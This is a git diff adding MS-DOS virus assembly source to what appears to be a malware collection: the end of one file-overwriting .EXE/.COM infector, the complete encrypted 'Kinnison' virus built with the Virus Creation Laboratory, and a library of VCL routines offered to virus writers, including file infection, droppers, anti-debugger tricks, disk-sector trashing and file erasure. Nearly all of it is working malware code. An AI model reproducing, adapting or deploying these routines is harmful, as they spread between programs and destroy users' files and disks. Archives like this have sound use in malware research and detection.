lodsb ; Get next character + cmp al,32 ; Is it a control character? + jb foreground ; Handle it if it is + stosw ; Save letter on screen +next: loop loopa ; Repeat until we're done + jmp short uncrunch_done ; Leave this routine + +foreground: cmp al,16 ; Are we changing the foreground? + jnb background ; If not, check the background + and ah,0F0h ; Strip off old foreground + or ah,al ; Put the new one on + jmp short next ; Resume looping + +background: cmp al,24 ; Are we changing the background? + je next_line ; If AL = 24, go to next line + jnb flash_bit_toggle ; If AL > 24 set the flash bit + sub al,16 ; Change AL to a color number + add al,al ; Crude way of shifting left + add al,al ; four bits without changing + add al,al ; CL or wasting space. Ok, + add al,al ; I guess. + and al,08Fh ; Strip off old background + or ah,al ; Put the new one on + jmp short next ; Resume looping + +next_line: add dx,160 ; Skip a whole line (80 chars. + mov di,dx ; AND 80 attribs.) + jmp short next ; Resume looping + +flash_bit_toggle: cmp al,27 ; Is it a blink toggle? + jb multi_output ; If AL < 27, it's a blinker + jne next ; Otherwise resume looping + xor ah,128 ; Toggle the flash bit + jmp short next ; Resume looping + +multi_output: cmp al,25 ; Set Zero flag if multi-space + mov bx,cx ; Save main counter + lodsb ; Get number of repititions + mov cl,al ; Put it in CL + mov al,' ' ; AL holds a space + jz start_output ; If displaying spaces, jump + lodsb ; Otherwise get character to use + dec bx ; Adjust main counter + +start_output: xor ch,ch ; Clear CH + inc cx ; Add one to count + rep stosw ; Display the character + mov cx,bx ; Restore main counter + dec cx ; Adjust main counter + loopnz loopa ; Resume looping if not done + +uncrunch_done: pop es ; Restore ES + pop di ; Restore DI + + mov ax,04C00h ; DOS terminate function + int 021h +main endp + +search_files proc near + mov dx,offset exe_mask ; DX points to "*.EXE" + call find_files ; Try to infect a file + mov dx,offset com_mask ; DX points to "*.COM" + call find_files ; Try to infect a file + jnc done_searching ; If successful then exit +done_searching: ret ; Return to caller + +exe_mask db "*.EXE",0 ; Mask for all .EXE files +com_mask db "*.COM",0 ; Mask for all .COM files + +search_files endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + lea dx,[bp - 128] ; DX points to buffer + mov ah,01Ah ; DOS set DTA function + int 021h + + mov cx,00100111b ; CX holds all file attributes + mov ah,04Eh ; DOS find first file function + + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes? + jne infection_done ; If it is then exit + + cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM? + je infection_done ; If it is then skip it + + cmp word ptr [si + 01Ah],(finish - start) + jb infection_done ; If it's too small then exit + + mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov cx,4 ; CX holds bytes to read (4) + mov ah,03Fh ; DOS read from file function + mov dx,offset buffer ; DX points to buffer + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + push si ; Save DTA address before compare + mov si,offset buffer ; SI points to comparison buffer + mov cx,4 ; CX holds number of bytes (4) + mov di,offset flag ; DI points to virus flag + rep cmpsb ; Compare the first four bytes + pop si ; Restore DTA address + je infection_done ; If equal then exit + mov byte ptr [set_carry],1 ; Success -- the file is OK + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,finish - start ; CX holds virus length + mov dx,offset start ; DX points to start of virus + int 021h + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +buffer db 4 dup (?) ; Buffer to hold test data +set_carry db ? ; Set-carry-on-exit flag +infect_file endp + + +data00: ; TheDraw Assembler Crunched Screen Image + + IMAGEDATA_WIDTH EQU 80 + IMAGEDATA_DEPTH EQU 25 + IMAGEDATA_LENGTH EQU 947 + IMAGEDATA LABEL BYTE + DB 15,16,24,24,24,25,2,20,25,'I',24,16,25,2,23,' ',16,25 + DB 'G',23,' ',24,16,25,2,20,' ',14,27,'',16,25,2,20,'' + DB '',16,' ',20,'',26,6,'',16,25,2,20,'',26,6,'' + DB '',16,' ',20,'',26,8,'',16,' ',20,'',26,8,'',16 + DB ' ',20,'',26,8,'',24,16,25,2,23,' ',20,26,4,'',26 + DB 4,'',16,' ',20,26,3,'',16,' ',20,'',16,' ',20 + DB 26,3,'',26,3,'',16,' ',20,26,3,'',16,25,3,20,'' + DB '',16,' ',20,26,3,'',16,25,3,20,'',16,' ',20,26 + DB 3,'',16,25,3,20,'',16,' ',23,' ',24,16,25,2,23,' ' + DB 20,26,10,'',16,' ',20,26,3,'',16,25,7,20,26,3,'' + DB '',26,3,'',16,' ',20,26,3,'',26,3,'',16,25,3,20,26 + DB 3,'',26,4,'',16,25,2,20,26,3,'',26,4,'',16,25,2,23 + DB ' ',24,16,25,2,20,' ',26,3,'',16,' ',20,'',16,' ',20 + DB 26,3,'',16,' ',20,26,3,'',16,25,7,20,26,10,'',16,' ' + DB 20,26,3,'',26,3,'',16,25,3,20,26,3,'',26,4,'',16,25 + DB 2,20,26,3,'',26,4,'',16,25,2,20,' ',24,16,25,2,23,' ' + DB 20,26,3,'',16,25,2,20,26,3,'',16,' ',20,26,3,'',16 + DB ' ',20,'',16,' ',20,26,3,'',16,25,2,20,26,3,'' + DB 16,' ',20,26,3,'',16,25,7,20,26,3,'',16,25,3,20,'' + DB '',16,' ',20,26,3,'',16,25,3,20,'',16,' ',23,' ' + DB 24,16,25,2,23,' ',20,'',16,25,2,20,'',16,' ' + DB 20,'',26,6,'',16,' ',20,'',16,25,2,20,'',16 + DB ' ',20,'',16,25,7,20,'',26,8,'',16,' ',20,'',26 + DB 8,'',16,' ',23,' ',24,16,25,2,20,' ',16,25,'G',20,' ' + DB 24,16,25,2,23,' ',16,' ',20,'',16,25,2,20,'',26,6 + DB '',16,25,4,20,'',26,6,'',16,25,3,20,'',26,8,'' + DB '',16,' ',20,'',26,6,'',16,25,2,20,'',26,7,'' + DB 16,25,2,23,' ',24,16,25,2,20,' ',26,4,'',16,' ',20,26 + DB 3,'',16,' ',20,'',26,3,'',16,25,2,20,26,3,'',26 + DB 3,'',16,25,2,20,26,3,'',16,25,3,20,'',16,' ',20,26 + DB 3,'',26,3,'',16,' ',20,26,3,'',16,25,2,20,'' + DB '',16,25,2,23,' ',24,16,25,2,23,' ',20,26,4,'',16,' ' + DB 20,'',26,4,'',16,25,5,20,26,3,'',26,3,'',16,25 + DB 2,20,26,3,'',26,3,'',16,25,3,20,26,3,'',26,3,'' + DB 16,' ',20,26,3,'',16,' ',20,26,3,'',16,25,3,20,' ' + DB 24,16,25,2,23,' ',20,26,4,'',16,25,3,20,'',26,4,'' + DB '',16,25,2,20,26,10,'',16,25,2,20,26,3,'',26,3,'' + DB 16,25,3,20,26,10,'',16,' ',20,26,3,'',16,' ',20,'' + DB '',16,25,2,23,' ',24,16,25,2,23,' ',20,26,4,'',16 + DB ' ',20,26,3,'',16,' ',20,'',26,3,'',16,25,2,20,26 + DB 3,'',16,25,2,20,26,3,'',16,25,2,20,26,3,'',16,25,7 + DB 20,26,3,'',16,25,2,20,26,3,'',16,' ',20,26,4,'' + DB '',16,25,2,23,' ',24,16,25,2,20,' ',16,' ',20,'' + DB '',16,25,2,20,'',26,6,'',16,25,3,20,'',16,25,2 + DB 20,'',16,25,2,20,'',16,25,7,20,'',16,25,2 + DB 20,'',16,' ',20,'',26,7,'',16,25,2,20,' ',24,16 + DB 25,2,23,' ',16,25,'G',23,' ',24,16,25,2,23,' ',16,25,'G' + DB 23,' ',24,16,25,2,20,' ',16,25,'G',20,' ',24,16,25,2,23 + DB ' ',16,25,'G',23,' ',24,16,25,2,20,25,'I',24,24,24 + + + +finish label near + +code ends + end main diff --git a/MSDOS/Virus.MSDOS.Unknown.vcl_kinn.asm b/MSDOS/Virus.MSDOS.Unknown.vcl_kinn.asm new file mode 100644 index 00000000..7b7cd1ff --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vcl_kinn.asm @@ -0,0 +1,337 @@ +; KINNISON.ASM -- Sam Kinnison virus +; Created by Nowhere Man's Virus Creation Labratory v0.75 +; Written by Nowhere Man + +virus_type equ 0 + +code segment 'CODE' + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near +flag: mov ah,0 + nop + nop + jmp start ;Would be at start of victim + nop + nop +start: call find_offset ; Push IP on to stack, advance IP +find_offset:pop di ; DI holds old IP + sub di,3 ; Adjust for length of CALL + lea si,[di + start_of_code - start] ; SI points to code + call encrypt_decrypt ; Decrypt the code + +start_of_code label near + + push di ; Save DI + mov si,offset flag ; SI points to flag bytes + lea di,[di + new_jump - start] ;DI points 2 start of jmp + movsw ; Transfer two bytes + movsw ; Transfer two bytes + pop di ; Restore DI + push di ; And save it for later + lea si,[di + buffer - start]; SI points to old start + mov di,0100h ; DI points to start of code + movsw ; Transfer two bytes + movsw ; Transfer two bytes + movsw ; Transfer two bytes + movsb ; Transfer final byte + pop di ; Restore DI + mov bp,sp ; BP points to stack + sub sp,128 ;Allocate 128 bytes on stack + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ;Save old DTA address on stack + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ;DX points to buffer on stack + int 021h + call get_day + cmp ax,000Bh + jne end00 + call get_weekday + cmp ax,0005h + jne end00 + mov cx,0003h + call beep +end00: xor ah,ah ; BIOS get time function + int 01Ah + test dx,0001h + jne no_infection + call search_files +no_infection: + call get_day + cmp ax,000Bh + jne end01 + call get_weekday + cmp ax,0005h + jne end01 + lea si,[di + data00 - start] ; SI points to data + call display_string +end01: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + mov sp,bp ; Deallocate local buffer + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + ret ; Return to original program +main endp + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ;SI points to 64-byte buffer + int 021h + mov ah,03Bh ; DOS change directory function + lea dx,[di + root - start] ;DX points to root directory + int 021h + call traverse ; Start the traversal + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + mov bp,sp ; BP points to local buffer + sub sp,128 ;Allocate 128 bytes on stack + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + mov dx,offset all_files ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + call traverse ; Recursively call ourself + mov ah,03Bh ; DOS change directory function + lea dx,[di + up_dir - start]; DX points to parent dir + int 021h +another_dir: + mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + lea dx,[di + com_mask - start] ; DX points to "*.COM" + call find_files ; Try to infect a file +done_searching: + mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + pop bp ; Restore BP + ret ; Return to caller +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +com_mask db "*.COM",0 ; Mask for all .COM files +traverse endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + mov bp,sp ; BP points to local buffer + sub sp,128 ;Allocate 128 bytes on stack + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: + int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ;DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: + mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + mov ax,04301h ; DOS set file attributes function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + mov ax,03D02h ; DOS open file function,r/w + int 021h + xchg bx,ax ; BX holds file handle + mov ah,03Fh ;DOS read from file function + mov cx,7 ; CX holds bytes to read (7) + lea dx,[di + buffer - start]; DX points to buffer + int 021h + push si ;Save DTA address before compare + mov byte ptr [di + set_carry - start],0 ;Assume we'll fail + lea si,[di + buffer - start]; SI points to comparison + push di ; Save virus offset + lea di,[di + new_jump - start] ; DI points to virus flg + mov cx,4 ; CX holds number of bytes + rep cmpsb ; Compare the first + pop di ; Restore DI + je close_it_up ; If equal then close up + mov byte ptr [di + set_carry - start],1 ; Success -- + cwd ; Zero CX _ Zero bytes from + mov cx,dx ; Zero DX / + mov ax,04200h ; DOS file seek function, + int 021h + mov ax,04202h ; DOS file seek function,EOF + cwd ; Zero DX _ Zero bytes from + mov cx,dx ; Zero CX / + int 021h + sub ax,7 ; Prepare for JMP + mov word ptr [di + new_jump + 5 - start],ax ; Construct + call encrypt_code ; Make an encrypted copy of + mov ah,040h ; DOS write to file function + mov cx,finish - start ; CX holds virus length + lea dx,[di + finish - start] ;DX points to encrypted copy + int 021h + cwd ; Zero DX _ Zero bytes from + mov cx,dx ; Zero CX / + mov ax,04200h ; DOS file seek function, + int 021h + mov ah,040h ; DOS write to file function + mov cx,7 ; CX holds bytes to write (7 + lea dx,[di + new_jump - start] ; DX points to the jump + int 021h +close_it_up: + pop si ; Restore DTA address + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + mov ah,03Eh ; DOS close file function + int 021h + mov ax,04301h ; DOS set file attributes fu + xor ch,ch ; Clear CH for file attribut + mov cl,[si + 015h] ; CX holds file's old attrib + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h +infection_done: cmp byte ptr [di + set_carry - start],1 ; Set carry + ret ; Return to caller +set_carry db ? ; Set-carry-on-exit flag +buffer db 5 dup (090h),0CDh,020h ; Buffer to hold test +new_jump db 4 dup (?),0E9h,?,? ; New jump to virus +infect_file endp +beep proc near + jcxz beep_end ; Exit if there are no + mov ax,0E07h ; BIOS display char.BELL +beep_loop: int 010h ; Beep + loop beep_loop ; Beep until --CX = 0 +beep_end: ret ; Return to caller +beep endp +display_string proc near + mov ah,0Eh ; BIOS display char. fun +display_loop: lodsb ; Load the next char. in + or al,al ; Is the character a nul + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: ret ; Return to caller +display_string endp +get_day proc near + mov ah,02Ah ; DOS get date function + int 021h + mov al,dl ; Copy day into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_day endp +get_weekday proc near + mov ah,02Ah ; DOS get date function + int 021h + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_weekday endp +data00 db "DIE BITCH!!!!! AHHHHHHHH!!!!!!!",13,10,0 +vcl_marker db "[VCL]",0 ; VCL creation +note db "Dedicated to the memory of" + db " Sam Kinnison 1954-1992",0 + db "[Kinnison]",0 + db "Nowhere Man, [NuKE] '92",0 +encrypt_code proc near + push bx ; Save BX + push di ; Save DI + lea si,[di + encrypt_decrypt - start] ; SI points + xor ah,ah ; BIOS get time function + int 01Ah + or dx,1 ; Insure we never get 0 + mov word ptr [si + 5],dx ; Low word of timer is n +alter_flag: mov al,0 ; AL holds alteration fl + inc byte ptr [di + (alter_flag + 1) - start] ; Togg + test al,1 ; Is bit one set? + jne check_nop ; If not then don't togg + xor byte ptr [si],0110b ; Change all BPs in star + xor byte ptr [si + 4],010b ; to BXs, and vice-versa + xor byte ptr [si + 7],0110b ; + +check_nop: test al,2 ; Is bit two set? + jne do_encryption ; If not then don't togg + mov ax,word ptr [si + 7] ; AX holds INC/NOP + xchg ah,al ; Exchange position of I + mov word ptr [si + 7],ax ; Put the word back + +do_encryption: mov si,di ; SI points to start of + lea di,[di + finish - start] ; DI points past + mov cx,(finish - start) / 2 ; CX holds words to tran + rep movsw ; Copy the code + pop di ; Restore DI + lea si,[di + (finish + (start_of_code - start)) - start] + ; SI points to code to encrypt + call encrypt_decrypt ; Encrypt the code + pop bx ; Restore BX + ret ; Return to caller +encrypt_code endp + +even ; Must be on an even bou + +end_of_code label near + +encrypt_decrypt proc near + mov bp,end_of_code - start_of_code - 2 ; BP holds +xor_loop: db 081h,032h,00h,00h ; XOR a word with the ke + dec bp ; Do the next byte + nop ; Used to throw off dete + jne xor_loop ; Repeat until we're don + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main diff --git a/MSDOS/Virus.MSDOS.Unknown.vcl_rtns.asm b/MSDOS/Virus.MSDOS.Unknown.vcl_rtns.asm new file mode 100644 index 00000000..20dc8b95 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vcl_rtns.asm @@ -0,0 +1,663 @@ +;These routines were pulled from the VCL as an aid to those who +;wish to write themselves some utilities. I have tried to gather +;all the essential pieces of the routines, so that you can simply +;install them in modules. +; +; +; +; +;This is a DROPPER routine from the VCL. + + + mov dx,offset data00 ; DX points to data + mov si,offset data01 ; SI points to data + push di ; Save DI + mov ah,02Fh ; DOS get DTA function + int 021h + mov di,bx ; DI points to DTA + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + int 021h + jc create_file ; If not found then create it +write_in_file: mov ax,04301h ; DOS set file attributes function + xor cx,cx ; File will have no attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ax,03D01h ; DOS open file function, write + lea dx,[di + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; Transfer file handle to AX + mov ah,040h ; DOS write to file function + mov cx,[si] ; CX holds number of byte to write + lea dx,[si + 2] ; DX points to the data + int 021h + mov ax,05701h ; DOS set file date/time function + mov cx,[di + 016h] ; CX holds old file time + mov dx,[di + 018h] ; DX holds old file data + int 021h + mov ah,03Eh ; DOS close file function + int 021h + mov ax,04301h ; DOS set file attributes function + xor ch,ch ; Clear CH for attributes + mov cl,[di + 015h] ; CL holds old attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc write_in_file ; If successful do next file + jmp short dropper_end ; Otherwise exit +create_file: mov ah,03Ch ; DOS create file function + xor cx,cx ; File has no attributes + int 021h + xchg bx,ax ; Transfer file handle to AX + mov ah,040h ; DOS write to file function + mov cx,[si] ; CX holds number of byte to write + lea dx,[si + 2] ; DX points to the data + int 021h + mov ah,03Eh ; DOS close file function + int 021h +dropper_end: pop di ; Restore DI + + + mov ax,04C00h ; DOS terminate function + int 021h + +;This is a STOP TRACE technique for fouling up DEBUGGERS + + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + mov bx,offset null_vector ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + +;This is a TRASH routine for destroying sectors + + + mov ax,0002h ; First argument is 2 + mov cx,0001h ; Second argument is 1 + cli ; Disable interrupts (no Ctrl-C) + cwd ; Clear DX (start with sector 0) +trash_loop: int 026h ; DOS absolute write interrupt + dec ax ; Select the previous disk + cmp ax,-1 ; Have we gone too far? + jne trash_loop ; If not, repeat with new drive + sti ; Restore interrupts + +;This is a FILE ERASE routine + + + mov dx,offset data02 ; DX points to data + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; All file attributes valid + int 021h + jc erase_done ; Exit procedure on failure + mov ah,02Fh ; DOS get DTA function + int 021h + lea dx,[bx + 01Eh] ; DX points to filename in DTA +erase_loop: mov ah,041h ; DOS delete file function + int 021h + mov ah,03Ch ; DOS create file function + xor cx,cx ; No attributes for new file + int 021h + mov ah,041h ; DOS delete file function + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc erase_loop ; Repeat until no files left +erase_done: + + mov ax,04C00h ; DOS terminate function + int 021h + +;This is a DIRECTORY "PATH"/ FILE FIND routine + + +search_files proc near + mov bx,di ; BX points to the virus + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,135 ; Allocate 135 bytes on stack + + mov byte ptr [bp - 135],'\' ; Start with a backslash + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 134] ; SI points to 64-byte buffer + int 021h + + call traverse_path ; Start the traversal + +traversal_loop: cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful? + je done_searching ; If so then we're done + call found_subdir ; Otherwise copy the subdirectory + + mov ax,cs ; AX holds the code segment + mov ds,ax ; Set the data and extra + mov es,ax ; segments to the code segment + + xor al,al ; Zero AL + stosb ; NULL-terminate the directory + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 70] ; DX points to the directory + int 021h + + lea dx,[bx + com_mask] ; DX points to "*.COM" + push di + mov di,bx + call find_files ; Try to infect a .COM file + mov bx,di + pop di + jnc done_searching ; If successful the exit + jmp short traversal_loop ; Keep checking the PATH + +done_searching: mov ah,03Bh ; DOS change directory function + lea dx,[bp - 135] ; DX points to old directory + int 021h + + cmp word ptr [bx + path_ad],0 ; Did we run out of directories? + jne at_least_tried ; If not then exit + stc ; Set the carry flag for failure +at_least_tried: mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller +com_mask db "*.COM",0 ; Mask for all .COM files +search_files endp + +traverse_path proc near + mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment + xor di,di ; DI holds the starting offset + +find_path: lea si,[bx + path_string] ; SI points to "PATH=" + lodsb ; Load the "P" into AL + mov cx,08000h ; Check the first 32767 bytes + repne scasb ; Search until the byte is found + mov cx,4 ; Check the next four bytes +check_next_4: lodsb ; Load the next letter of "PATH=" + scasb ; Compare it to the environment + jne find_path ; If there not equal try again + loop check_next_4 ; Otherwise keep checking + + mov word ptr [bx + path_ad],di ; Save the PATH address + mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment + ret ; Return to caller + +path_string db "PATH=" ; The PATH string to search for +path_ad dd ? ; Holds the PATH's address +traverse_path endp + +found_subdir proc near + lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH + lea di,[bp - 70] ; DI points to the work buffer + push cs ; Transfer CS into ES for + pop es ; byte transfer +move_subdir: lodsb ; Load the next byte into AL + cmp al,';' ; Have we reached a separator? + je moved_one ; If so we're done copying + or al,al ; Are we finished with the PATH? + je moved_last_one ; If so get out of here + stosb ; Store the byte at ES:DI + jmp short move_subdir ; Keep transfering characters + +moved_last_one: xor si,si ; Zero SI to signal completion +moved_one: mov word ptr es:[bx + path_ad],si ; Store SI in the path address + ret ; Return to caller +found_subdir endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + + +;This is a RAM REDUCTION routine + + + mov dx,0064h ; First argument is 100 + push es ; Save ES + mov ax,040h ; Set extra segment to 040h + mov es,ax ; (ROM BIOS) + mov word ptr es:[013h],dx ; Store new RAM ammount + pop es ; Restore ES + + mov ah,0Fh ; BIOS get video mode function + int 010h + xor ah,ah ; BIOS set video mode function + int 010h + + +;This is a MACHINE GUN SOUND routine followed by a DROP TO ROM routine + + + mov cx,0005h ; First argument is 5 +new_shot: push cx ; Save the current count + mov dx,0140h ; DX holds pitch + mov bx,0100h ; BX holds shot duration + in al,061h ; Read the speaker port + and al,11111100b ; Turn off the speaker bit +fire_shot: xor al,2 ; Toggle the speaker bit + out 061h,al ; Write AL to speaker port + add dx,09248h ; + mov cl,3 ; + ror dx,cl ; Figure out the delay time + mov cx,dx ; + and cx,01FFh ; + or cx,10 ; +shoot_pause: loop shoot_pause ; Delay a bit + dec bx ; Are we done with the shot? + jnz fire_shot ; If not, pulse the speaker + and al,11111100b ; Turn off the speaker bit + out 061h,al ; Write AL to speaker port + mov bx,0002h ; BX holds delay time (ticks) + xor ah,ah ; Get time function + int 1Ah ; BIOS timer interrupt + add bx,dx ; Add current time to delay +shoot_delay: int 1Ah ; Get the time again + cmp dx,bx ; Are we done yet? + jne shoot_delay ; If not, keep checking + pop cx ; Restore the count + loop new_shot ; Do another shot + + int 018h ; Drop to ROM BASIC + + + mov ax,04C00h ; DOS terminate function + int 021h + + +;This is a DISPLAY STRING routine + + +main proc near + mov si,offset data00 ; SI points to data + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: + + +This is a RANDOM NUMBER from BIOS CLOCK generator + + +get_random proc near + xor ah,ah ; BIOS get clock count function + int 01Ah + xchg dx,ax ; Transfer the count into AX + ret ; Return to caller +get_random endp + + +This is an CODE ENCRYPTION routine + + +encrypt_code proc near + mov si,offset encrypt_decrypt; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 8],dx ; Low word of timer is new key + + xor byte ptr [si],1 ; + xor byte ptr [si + 7],1 ; Change all SIs to DIs + xor word ptr [si + 10],0101h; (and vice-versa) + + mov di,offset finish ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + mov si,offset write_stuff ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + mov dx,offset start ; DX points to virus + + call finish ; Encrypt/write/decrypt + + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + mov si,offset start_of_code ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp + + +;This is a BEEP routine + + +beep proc near + jcxz beep_end ; Exit if there are no beeps + mov ax,0E07h ; BIOS display char., BEL +beep_loop: int 010h ; Beep + loop beep_loop ; Beep until --CX = 0 +beep_end: + ret ; Return to caller +beep endp + + +;This is a GET DAY/WEEK COMPARE BEFORE ACTIVATE routine + + + call get_day + cmp ax,000Bh ; Did the function return 11? + jne skip00 ; If not equal, skip effect + call get_weekday + cmp ax,0005h ; Did the function return 5? + jne skip00 ; If not equal, skip effect + jmp short strt00 ; Success -- skip jump +skip00: jmp end00 ; Skip the routine +strt00: mov si,offset data00 ; SI points to data + mov ah,0Eh ; BIOS display char. function + +;Code goes between this--------------------------------> + +get_day proc near + mov ah,02Ah ; DOS get date function + int 021h + mov al,dl ; Copy day into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller 